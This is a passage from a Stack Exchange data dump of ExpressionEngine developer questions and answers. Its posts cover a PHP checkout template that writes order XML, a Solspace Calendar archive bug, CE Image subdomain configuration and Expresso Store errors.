$billing_first_name);&#xA;&#xA;      {!--$billing_first_name= htmlspecialchars($billing_first_name, ENT_QUOTES); --}&#xA;&#xA;&#xA;      $billing_last_name= &quot;{billing_last_name}&quot;;      &#xA;      $billing_last_name= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_last_name); &#xA;      $billing_last_name= preg_replace('/[^\w ]/', '', $billing_last_name);&#xA;&#xA;      $billing_address1= &quot;{billing_address1}&quot;;      &#xA;      $billing_address1= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_address1); &#xA;      $billing_address1= preg_replace('/[^\w ]/', '', $billing_address1);&#xA;&#xA;      $billing_address2= &quot;{billing_address2}&quot;;      &#xA;      $billing_address2= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_address2); &#xA;      $billing_address2= preg_replace('/[^\w ]/', '', $billing_address2);&#xA;&#xA;      $billing_city= &quot;{billing_city}&quot;;      &#xA;      $billing_city= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_city); &#xA;      $billing_city= preg_replace('/[^\w ]/', '', $billing_city);&#xA;&#xA;      $billing_postcode= &quot;{billing_postcode}&quot;;      &#xA;      $billing_postcode= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_postcode); &#xA;      $billing_postcode= preg_replace('/[^\w ]/', '', $billing_postcode);&#xA;&#xA;      $billing_phone= &quot;{billing_phone}&quot;;      &#xA;      $billing_phone= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $billing_phone); &#xA;      $billing_phone= preg_replace('/[^\w ]/', '', $billing_phone);      &#xA;&#xA;      $shipping_first_name= &quot;{shipping_first_name}&quot;;      &#xA;      $shipping_first_name= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_first_name); &#xA;      $shipping_first_name= preg_replace('/[^\w ]/', '', $shipping_first_name);&#xA;&#xA;      $shipping_last_name= &quot;{shipping_last_name}&quot;;      &#xA;      $shipping_last_name= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_last_name); &#xA;      $shipping_last_name= preg_replace('/[^\w ]/', '', $shipping_last_name);&#xA;&#xA;      $shipping_address1= &quot;{shipping_address1}&quot;;      &#xA;      $shipping_address1= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_address1); &#xA;      $shipping_address1= preg_replace('/[^\w ]/', '', $shipping_address1);&#xA;&#xA;      $shipping_address2= &quot;{shipping_address2}&quot;;      &#xA;      $shipping_address2= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_address2); &#xA;      $shipping_address2= preg_replace('/[^\w ]/', '', $shipping_address2);&#xA;&#xA;      $shipping_city= &quot;{shipping_city}&quot;;      &#xA;      $shipping_city= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_city); &#xA;      $shipping_city= preg_replace('/[^\w ]/', '', $shipping_city);&#xA;&#xA;      $shipping_postcode= &quot;{shipping_postcode}&quot;;      &#xA;      $shipping_postcode= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_postcode); &#xA;      $shipping_postcode= preg_replace('/[^\w ]/', '', $shipping_postcode);&#xA;&#xA;      $shipping_phone= &quot;{shipping_phone}&quot;;      &#xA;      $project= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_phone); &#xA;      $shipping_phone= preg_replace('/[^\w ]/', '', $shipping_phone);&#xA;&#xA;&#xA;      $project= &quot;{order_custom4}&quot;;      &#xA;      $project= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $project); &#xA;      $project= preg_replace('/[^\w ]/', '', $project);&#xA;      {!-- $project= preg_replace('/[^\w ]/', '', '{order_custom4}'); --} &#xA;      {!-- $project= htmlspecialchars($project, ENT_QUOTES); --}&#xA;&#xA;&#xA;      $shipping_account= &quot;{order_custom2}&quot;;      &#xA;      $shipping_account= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_account); &#xA;      $shipping_account= preg_replace('/[^\w ]/', '', $shipping_account);&#xA;&#xA;      $shipping_carrier= &quot;{order_custom3}&quot;;      &#xA;      $shipping_carrier= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $shipping_carrier); &#xA;      $shipping_carrier= preg_replace('/[^\w ]/', '', $shipping_carrier);&#xA;&#xA;      $instruction= &quot;{order_custom1}&quot;;      &#xA;      $instruction= preg_replace(&quot;~[\\\\/'&amp;lt;&amp;gt;|]~&quot;, &quot;&quot;, $instruction); &#xA;      $instruction= preg_replace('/[^\w ]/', '', $instruction);      &#xA;&#xA;      if ('{shipping_method}'==&quot;FREE - FedEx Ground&quot;) {&#xA;      $shipping_account=&quot;&quot;;&#xA;      $shipping_carrier=&quot;&quot;;&#xA;      }&#xA;&#xA;&#xA;&#xA;      $dir = '/home/example/example.com/transfer/out';&#xA;&#xA;{exp:streeng  find=&quot;'&quot; replace=&quot;&quot;}   &#xA;      $info =&quot;&#xA;&amp;lt;order&amp;gt;&#xA;   &amp;lt;order_id&amp;gt;{order_id}&amp;lt;/order_id&amp;gt;&#xA;   &amp;lt;member_id&amp;gt;{member_id}&amp;lt;/member_id&amp;gt;&#xA;   &amp;lt;customer_number&amp;gt;&quot;.$MainframeAccountName.&quot;&amp;lt;/customer_number&amp;gt;&#xA;   &amp;lt;hash&amp;gt;{order_hash}&amp;lt;/hash&amp;gt;&#xA;   &amp;lt;date&amp;gt;{current_time format=&quot;%Y%m%d&quot;}&amp;lt;/date&amp;gt;&#xA;   &amp;lt;time&amp;gt;{current_time format=&quot;%H%i%s&quot;}&amp;lt;/time&amp;gt;&#xA;   &amp;lt;action&amp;gt;add&amp;lt;/action&amp;gt;&#xA;   &amp;lt;email&amp;gt;{order_email}&amp;lt;/email&amp;gt;&#xA;   &amp;lt;billing_first_name&amp;gt;&quot;.$billing_first_name.&quot;&amp;lt;/billing_first_name&amp;gt;&#xA;   &amp;lt;billing_last_name&amp;gt;&quot;.$billing_last_name.&quot;&amp;lt;/billing_last_name&amp;gt;&#xA;   &amp;lt;billing_company&amp;gt;&amp;lt;/billing_company&amp;gt;&#xA;   &amp;lt;billing_address1&amp;gt;&quot;.$billing_address1.&quot;&amp;lt;/billing_address1&amp;gt;&#xA;   &amp;lt;billing_address2&amp;gt;&quot;.$billing_address2.&quot;&amp;lt;/billing_address2&amp;gt;&#xA;   &amp;lt;billing_city&amp;gt;&quot;.$billing_city.&quot;&amp;lt;/billing_city&amp;gt;&#xA;   &amp;lt;billing_state&amp;gt;{billing_state_name}&amp;lt;/billing_state&amp;gt;&#xA;   &amp;lt;billing_postal&amp;gt;&quot;.$billing_postcode.&quot;&amp;lt;/billing_postal&amp;gt;&#xA;   &amp;lt;billing_country&amp;gt;{billing_country_name}&amp;lt;/billing_country&amp;gt;&#xA;   &amp;lt;billing_phone&amp;gt;&quot;.$billing_phone.&quot;&amp;lt;/billing_phone&amp;gt;&#xA;   &amp;lt;shipping_first_name&amp;gt;&quot;.$shipping_first_name.&quot;&amp;lt;/shipping_first_name&amp;gt;&#xA;   &amp;lt;shipping_last_name&amp;gt;&quot;.$shipping_last_name.&quot;&amp;lt;/shipping_last_name&amp;gt;&#xA;   &amp;lt;shipping_company&amp;gt;&amp;lt;/shipping_company&amp;gt;&#xA;   &amp;lt;shipping_address1&amp;gt;&quot;.$shipping_address1.&quot;&amp;lt;/shipping_address1&amp;gt;&#xA;   &amp;lt;shipping_address2&amp;gt;&quot;.$shipping_address2.&quot;&amp;lt;/shipping_address2&amp;gt;&#xA;   &amp;lt;shipping_city&amp;gt;&quot;.$shipping_city.&quot;&amp;lt;/shipping_city&amp;gt;&#xA;   &amp;lt;shipping_state&amp;gt;{shipping_state_name}&amp;lt;/shipping_state&amp;gt;&#xA;   &amp;lt;shipping_postal&amp;gt;&quot;.$shipping_postcode.&quot;&amp;lt;/shipping_postal&amp;gt;&#xA;   &amp;lt;shipping_country&amp;gt;{shipping_country_name}&amp;lt;/shipping_country&amp;gt;&#xA;   &amp;lt;shipping_phone&amp;gt;&quot;.$shipping_phone.&quot;&amp;lt;/shipping_phone&amp;gt;&#xA;   &amp;lt;shipping_account&amp;gt;&quot;.$shipping_account.&quot;&amp;lt;/shipping_account&amp;gt;&#xA;   &amp;lt;shipping_carrier&amp;gt;&quot;.$shipping_carrier.&quot;&amp;lt;/shipping_carrier&amp;gt;&#xA;   &amp;lt;shipping_method&amp;gt;{shipping_method}&amp;lt;/shipping_method&amp;gt;&#xA;   &amp;lt;project&amp;gt;&quot;.$project.&quot;&amp;lt;/project&amp;gt;&#xA;   &amp;lt;instruction&amp;gt;&quot;.$instruction.&quot;&amp;lt;/instruction&amp;gt;{items}{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; excl_cat_id=&quot;28|29|30|31|32|33|34|35|36|37|43|40|38|2|27|3|50|51|52|53|48&quot;  style=&quot;linear&quot; limit=&quot;1&quot;}  &#xA;   &amp;lt;sample&amp;gt;&#xA;      &amp;lt;pattern&amp;gt;{cat_name}&amp;lt;/pattern&amp;gt;&#xA;      &amp;lt;color&amp;gt;{title}&amp;lt;/color&amp;gt;&#xA;      &amp;lt;quantity&amp;gt;{item_qty}&amp;lt;/quantity&amp;gt;&#xA;   &amp;lt;/sample&amp;gt;{/exp:gwcode_categories}{/items}&#xA;&amp;lt;/order&amp;gt;&#xA;&#xA;      &quot;;&#xA;{/exp:streeng}&#xA;&#xA;&#xA;&#xA;      $file = $dir . '/{order_hash}.xml';&#xA;      file_put_contents($file, $info);    &#xA;&#xA;&#xA;      //Creates a backup of the file and stores it in the outArchive folder.&#xA;      copy('/home/example/example.com/transfer/out/{order_hash}.xml', '/home/example/example.com/transfer/backup/{order_hash}.xml');&#xA;     } &#xA;   ?&amp;gt;     &#xA;&#xA;    &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; id=&quot;submit&quot; class=&quot;btn btn-success&quot; style=&quot;display:none !important;&quot;  /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    window.onload = function submit()&#xA;    {&#xA;        document.getElementById(&quot;submit&quot;).click(); // Simulates button click&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '&quot;' in /chroot/home/example/example.com/html/system/expressionengine/libraries/Functions.php(688) : eval()'d code on line 70&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3336" LastActivityDate="2014-10-28T11:14:36.503" Title="Expresso Store + outputting store variables using PHP in XML. &quot; and / are blowing up the whole operation" Tags="|expresso-store|php|variable|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26455" PostTypeId="1" CreationDate="2014-10-28T00:15:47.587" Score="0" ViewCount="62" Body="&lt;p&gt;Does anyone know if/how I can create a &quot;yearly&quot; archives list with Solspace Calendar? I've tried searching the web and can't find anything that works. I want to only display the years where there are events in the year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, this code should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal event_id=&quot;{embed:ids}&quot; date_range_end=&quot;today&quot; show_years=&quot;30&quot; dynamic=&quot;off&quot;}&#xA;  {display_each_year}&#xA;    &amp;lt;li&amp;gt;{date format=&quot;%Y&quot;} - {year_event_total}&amp;lt;/li&amp;gt;&#xA;  {/display_each_year}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I use this on my page, it only shows a single year (with the year of the &lt;code&gt;show_years&lt;/code&gt; param), and the &lt;code&gt;{year_event_total}&lt;/code&gt; tag doesn't seem to be populating correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for my local test, I have 3 events in my system. One from last year, another coming up next week and another even dated out 1 year in the future. I expect to see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2013 - 1&lt;/li&gt;&#xA;&lt;li&gt;2014 - 1&lt;/li&gt;&#xA;&lt;li&gt;2015 - 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I am only getting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1985 - 1&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even though no events are in the system beyond the scope of what I mentioned earlier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the &lt;code&gt;{embed:ids}&lt;/code&gt; in my code above is a piped list of ID's related to an entry in another channel using Playa. You can remove that code because it doesn't seem make any difference in the results. But my plan is to use it as a filter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2016-05-05T05:10:26.753" Title="Solspace Calendar Archives?" Tags="|playa|solspace-calendar|calendar|events|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26456" PostTypeId="2" ParentId="26455" CreationDate="2014-10-28T03:01:12.380" Score="0" Body="&lt;p&gt;This is a confirmed bug. Unfortunately, we don't have an ETA for a fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, a workaround could be to repeat &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; individually for each year.&#xA;The &lt;code&gt;{exp:calendar:date}&lt;/code&gt; tag can be used to make calculations such as knowing what year is next year, what year is 2 years from now, etc: &lt;a href=&quot;http://www.solspace.com/docs/calendar/date/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/calendar/date/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-28T03:01:12.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26457" PostTypeId="1" AcceptedAnswerId="26464" CreationDate="2014-10-28T03:32:00.150" Score="2" ViewCount="262" Body="&lt;p&gt;This is probably really simple - but I can't find the answer...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have set up a &quot;Live Look Template&quot; so that editors can preview an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When an editor is logged in to the backend - Is there a way we can make the link going to this Live Look Template open in a new window?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have circled the link I'm talking about...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0ZREt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2014-10-31T12:19:34.643" Title="Live Look Template" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26459" PostTypeId="1" AcceptedAnswerId="28994" CreationDate="2014-10-28T05:40:00.623" Score="2" ViewCount="316" Body="&lt;p&gt;I'm getting a fatal error installing Store 2.4.1 on a fresh install of ee2.9.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas the cause / solution?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Uncaught exception 'InvalidArgumentException' with message 'Unknown CI database driver 'mysqli'' in&#xA;&#xA;/home/eedemo1/system/expressionengine/third_party/store/vendor/expressodev/laravel-codeigniter-db/src/CodeIgniterConnection.php:39 Stack trace: #0 /home//eedemo1/system/expressionengine/third_party/store/vendor/illuminate/database/Illuminate/Database/Connection.php(160): Illuminate\CodeIgniter\CodeIgniterConnection-&amp;gt;getDefaultQueryGrammar() &#xA;#1 /home/eedemo1/system/expressionengine/third_party/store/vendor/expressodev/laravel-codeigniter-db/src/CodeIgniterConnection.php(22): Illuminate\Database\Connection-&amp;gt;useDefaultQueryGrammar() &#xA;#2 /home/eedemo1/system/expressionengine/third_party/store/vendor/expressodev/laravel-codeigniter-db/src/CodeIgniterConnectionResolver.php(24): Illuminate\CodeIgniter\CodeIgniterConnection-&amp;gt;__construct(Object(Addons)) &#xA;#3 /home/eedemo1/system/expressionengine/third_party/store/src/Container.php(30): Illuminate\CodeIgniter\CodeIgniterConnection in /home/eedemo1/system/expressionengine/third_party/store/vendor/expressodev/laravel-codeigniter-db/src/CodeIgniterConnection.php on line 39&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1527" LastEditDate="2015-02-12T23:51:09.670" LastActivityDate="2015-02-13T14:05:02.557" Title="Expresso Store Fatal error trying to install" Tags="|expresso-store|expresso|white-screen-of-death|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26460" PostTypeId="1" AcceptedAnswerId="26761" CreationDate="2014-10-28T06:54:31.923" Score="0" ViewCount="172" Body="&lt;p&gt;Basically I want to serve &quot;made&quot; images from the subdomain for one of my File Upload locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a couple of posts on how you can use ce-img to handle local sub domains but they weren't fully on my wavelength and hence haven't had the &quot;light bulb&quot; moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have setup a sub domain where the folder lives at the primary domains root folder:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var/myhost/mywebsite/ = mysite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var/myhost/mywebsite/siteassets/ = assets.mysite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have configured one of the 'file' paths to use the sub domain to upload images to and it works - upload myimage.jpg and it appears at assets.mysite.com/folder1/myimage.jpg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_src_regex'] = array( 'http://assets.mysite.com/' =&amp;gt; var/myhost/mywebsite/.'/' );&#xA;$config['ce_image_made_regex'] = array( '^/' =&amp;gt; 'http://assets.mysite.com/' );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems no matter which configuration I use, it never really works, I've experimented that much I've now forgotten where I started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone enlighten me pls :)&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-11-18T00:14:47.587" Title="Sub domain serving ce-img 'made' images" Tags="|ce-image|config-overrides|image-path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26461" PostTypeId="2" ParentId="26460" CreationDate="2014-10-28T09:22:18.827" Score="1" Body="&lt;p&gt;Think you're missing some key CE Image config variables - ce_image_current_domain and ce_image_document_root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got this setup using static.domain as the URL. Here's my config settings...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set some variables...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['static_url']   = &quot;http://static.${_SERVER['HTTP_HOST']}&quot;;&#xA;$config['static_path']   = &quot;/...path-to.../static-ar/www/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set the upload paths in the config...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Override existing Upload Settings   ###&#xA;$config['upload_preferences'] = array(&#xA;    1 =&amp;gt; array(                                                             // ID of upload destination&#xA;        'name'        =&amp;gt; 'Content Pages',                                    // Display name in control panel&#xA;        'server_path' =&amp;gt; $config['static_path'].'images/content-pages/',  // Server path to upload directory&#xA;        'url'         =&amp;gt; $config['static_url'].'/images/content-pages/'      // URL of upload directory&#xA;    ),&#xA;    2 =&amp;gt; array(                                                             // ID of upload destination&#xA;        'name'        =&amp;gt; 'Blog Content',                                    // Display name in control panel&#xA;        'server_path' =&amp;gt; $config['static_path'].'images/blog/',  // Server path to upload directory&#xA;        'url'         =&amp;gt; $config['static_url'].'/images/blog/'      // URL of upload directory&#xA;    ),&#xA;    3 =&amp;gt; array(                                                             // ID of upload destination&#xA;        'name'        =&amp;gt; 'Guide Imagery',                                    // Display name in control panel&#xA;        'server_path' =&amp;gt; $config['static_path'].'images/guides/',  // Server path to upload directory&#xA;        'url'         =&amp;gt; $config['static_url'].'/images/guides/'      // URL of upload directory&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the CE Image stuff...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_current_domain']  = $config['static_url'];&#xA;$config['ce_image_document_root']   = $config['static_path'];&#xA;$config['ce_image_cache_dir']       = &quot;images/generated/&quot;;&#xA;$config['ce_image_made_regex'] = array( '^/images/generated' =&amp;gt; $config['static_url'].'/images/generated');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-10-28T09:22:18.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26462" PostTypeId="2" ParentId="23719" CreationDate="2014-10-28T10:21:39.437" Score="2" Body="&lt;p&gt;This should really be added as a comment rather than an answer, but since there isn't enough space...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at our scenario again; we definitely need the plugin, but this is where different build approaches can perhaps give different requirements later on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our products run over a number of channels, so we never know which options will have been selected by a customer in their previous orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a product option for 'weight' which is set as &lt;code&gt;{weight}&lt;/code&gt; in our channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we use the native tags, as below...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{item_options}&#xA;  Name: {option_name}&amp;lt;br&amp;gt;&#xA;  Label: {option_label}&amp;lt;br&amp;gt;&#xA;  Value: {option_value}&amp;lt;br&amp;gt;&#xA;{/item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...our output is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name: A4 | 20 sheets&#xA;Label: Packs Options&#xA;Value: A4-20&#xA;Name: 120gsm&#xA;Label: Weight (Grammage)&#xA;Value: 120gsm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name is the option customers can select in the respective dropdown field. The label is the field label for the template and the value is the customer selected value (which could arguably be the same as the name).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we actually need to display in the form for a repeat order would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[0][packs_options]&quot; value=&quot;A4-20&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;item_options[0][weight]&quot; value=&quot;120gsm&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the native tag, we can't access &lt;code&gt;packs_options&lt;/code&gt; or &lt;code&gt;weight&lt;/code&gt;, so we created the plugin to loop through all the array keys in the item options. However, in another order (or even the same order) the customer could have totally different type of product, and there are too many options to run an &lt;code&gt;if&lt;/code&gt; statement or hard code variables on the basis they &lt;em&gt;might&lt;/em&gt; be used.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;[0] =&amp;gt; Array&#xA;    (&#xA;        [order_id] =&amp;gt; 6102&#xA;        [0] =&amp;gt; Array&#xA;            (&#xA;                [0] =&amp;gt; Array&#xA;                    (&#xA;                        [row_order] =&amp;gt; 0&#xA;                        [product_options] =&amp;gt; Array&#xA;                            (&#xA;                                [discount] =&amp;gt; 0&#xA;                                [packs_options] =&amp;gt; A4-20&#xA;                                [weight] =&amp;gt; 120gsm&#xA;                            )&#xA;                    )&#xA;            )&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We dropped the discount, because the discount on the original order may no longer apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at your code example, it looks like you might know which options a customer will have selected at &lt;code&gt;name=&quot;item_options[{count}][cf_paper_variations]&quot;&lt;/code&gt; - maybe thats the difference between what we both need to achieve?&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-10-28T10:21:39.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26463" PostTypeId="2" ParentId="26454" CreationDate="2014-10-28T11:14:36.503" Score="1" Body="&lt;p&gt;It is in general not a great idea to use PHP straight in the template, but that's a story for another day. It would be best to use Expresso Store's developer hooks like the &quot;store_order_complete_end&quot; hook to create and process the XML file on success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going with your example: Check the string you are building up in particular at the  tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;&quot;.$instruction.&quot;{items}{exp:gwcode_categories entry_id=&quot;{entry_id}&quot; excl_cat_id=&quot;28|29|30|31|32|33|34|35|36|37|43|40|38|2|27|3|50|51|52|53|48&quot;  style=&quot;linear&quot; limit=&quot;1&quot;}&lt;br&gt;&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are using double quotes inside double quotes without escaping it. Rather use single quotes around {entry_id} and the rest of your parameters, like entry_id='{entry_id}'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-10-28T11:14:36.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26464" PostTypeId="2" ParentId="26457" CreationDate="2014-10-28T11:51:45.790" Score="3" Body="&lt;p&gt;I think the add-on Zenbu will open the live-look previews in a lightbox style modal if you wanted to use that. It's pretty good and gives you the ability to create custom views for entry lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could create an accessory which hooked into the live-look links and used Javascript to open them in a new window. The difficulty is in hooking into the links since they don't have any kind of class on them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could look for the word &quot;View&quot; in a link or count which column the link is in and target that. Neither way is going to be bulletproof but it might work for your circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Just made an accessory for you. &lt;a href=&quot;http://devot-ee.com/add-ons/live-look-in-new-window&quot; rel=&quot;nofollow&quot;&gt;Download accessory to open Live Look links in a new window&lt;/a&gt; Unzip it into your expressionengine/third_party folder and install it from Add-ons-&gt;Accessories. This just looks for links with the word &quot;View&quot; so it's far from robust but it should do the job in a basic way.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-31T12:19:34.643" LastActivityDate="2014-10-31T12:19:34.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26465" PostTypeId="2" ParentId="24167" CreationDate="2014-10-28T12:17:07.173" Score="1" Body="&lt;p&gt;You can set this up in Postmaster -&gt; Notifications. Ensure that you choose the CartThrob Abandoned Cart notification type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add something to the cart, but don't checkout. Ensure that the time interval is set for your notification. For testing i just added 15 into the minutes column to send me an email after 15 minutes.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-10-28T12:17:07.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26466" PostTypeId="1" CreationDate="2014-10-28T14:20:51.710" Score="1" ViewCount="49" Body="&lt;p&gt;I just uploaded P&amp;amp;T Assets. Shouldn't I be able to access my Assets directories from a WYGWAM? I don't have any folder listed in the WYGWAM settings. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-10-28T17:57:23.577" Title="Accessing P&amp;T Assets files from WYGWAM" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26468" PostTypeId="1" AcceptedAnswerId="26485" CreationDate="2014-10-28T15:05:22.917" Score="0" ViewCount="54" Body="&lt;p&gt;I'm using Solspace calendar and I'm wondering is it possible to filter the events by weekdays? For example, I'd like to show events that only occur on Monday to Friday, I can't really see any way of doing it in the documentation.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-10-29T03:19:12.160" Title="Solspace Calendar filter by days, not by dates" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
